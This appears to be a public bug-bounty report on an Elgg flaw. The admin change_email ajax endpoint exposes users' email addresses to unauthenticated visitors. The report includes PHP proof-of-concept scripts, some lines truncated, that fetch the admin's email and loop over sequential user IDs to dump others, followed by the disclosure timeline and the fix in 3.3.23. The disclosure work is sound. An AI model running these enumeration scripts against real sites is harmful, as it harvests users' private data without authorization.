Exposure of Private Personal Information to an Unauthorized Actor in elgg/elgg

0

Valid Reported on Nov 18th 2021

Hello Elgg Team, hope you are having an awesome day :)
Just found an issue on the latest version of Elgg, and apparently the previous versions also have the same flaw.

Description

There is this endpoint, which is:

```
http://elgg-example-here.com/ajax/form/admin/user/change_email
```

This endpoint is supposed to pick the query parameter `user_guid` and return a form so the admin can change the e-mail of any given user that has this `user_guid`. The response for this request contains within the form, the display name of a user and also its current e-mail address.

The problem is: originally, this ajax view is supposed to be used exclusively by the Admin user, but actually any user is capable of calling it, even unauthenticated ones. And because the `user_guid` is as "sequential" value, it is easy to execute a loop and dump all the e-mail addresses that are saved.

Proof of Concept

I made two PoCs, for the first one, this PHP script will return the e-mail of the Admin user:

```php
<?php

$host = 'HOST_NAME_HERE';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://'.$host.'/elgg/ajax/form/admin/user/c
curl_setopt($ch,CURLOPT_HTTPHEADER,array(
    'X-Requested-With:XMLHttpRequest',
    'X-Elgg-Ajax-API:2'
));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

$content = curl_exec($ch);
$content = json_decode($content, false);

$dom = new DOMDocument;
$dom->loadHTML($content->value);
$attr = array();
$tg = "input";
$inputs = $dom->getElementsByTagName($tg);

foreach ($inputs as $tag) {
    array_push($attr, $tag->getAttribute("value"));
}

echo "The e-mail of the admin is ". end($attr) . " :)\n";

?>
```

And on this second one, the script will run a loop and retrieve e-mail addresses of multiple users

```php
<?php

$host = 'HOST_NAME_HERE';

$ch = curl_init();

// It goes from the last to the first user, I used 60 because my testing en
// had just a few users, but you may change it to any different value
for( $i = 60; $i >= 40; $i-- ) {
    curl_setopt($ch, CURLOPT_URL, 'http://'.$host.'/elgg/ajax/form/admin/us
    curl_setopt($ch,CURLOPT_HTTPHEADER,array(
        'X-Requested-With:XMLHttpRequest',
        'X-Elgg-Ajax-API:2'
    ));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

    $content = curl_exec($ch);
    $content = json_decode($content, false);
```

(Published)

Vulnerability Type
CWE-359: Exposure of Private Personal Information to an Unauthorized Actor

Severity
Medium (5.3)

Visibility
Public

Status
Fixed

Found by

Breno Vitório
@brenu
legend

```
$dom = new DOMDocument;
$dom->loadHTML($content->value);
$attr = array();
$tg = "input";
$inputs = $dom->getElementsByTagName($tg);

if(sizeof($inputs) == 4) {
    foreach ($inputs as $tag) {
        array_push($attr, $tag->getAttribute("value"));
    }
    echo end($attr) . "\n";
}
```

This report was seen 449 times.

We are processing your report and will contact the **elgg** team within 24 hours. a year ago

Impact

Breno Vitório submitted a patch a year ago

This issue compromises the confidentiality of information, since this data is not meant to be publicly available.

We have contacted a member of the **elgg** team and are waiting to hear back a year ago

References

A elgg/elgg maintainer validated this vulnerability a year ago

- More About CWE-359

Breno Vitório has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

A **elgg/elgg** maintainer a year ago — Maintainer

thanks for reporting. We'll look into making a solution.
Next release is scheduled for over 14 days.

Breno Vitório a year ago — Researcher

Thank you :D

A **elgg/elgg** maintainer a year ago — Maintainer

fixed in https://github.com/Elgg/Elgg/pull/13791

Jamie Slome a year ago — Admin

@maintainer - are you able to `confirm fix` using the button above?

We can then go ahead and publish the CVE! ♥

A **elgg/elgg** maintainer a year ago — Maintainer

I will after we have released a version with the fix in it. This will happen on Friday December 3rd 2021

Jamie Slome a year ago — Admin

Great, thank you for the update! 👏

A **elgg/elgg** maintainer marked this as fixed in **3.3.23** with commit **572d21** a year ago

The fix bounty has been dropped ✖

This vulnerability will not receive a CVE ✖

Sign in to join this conversation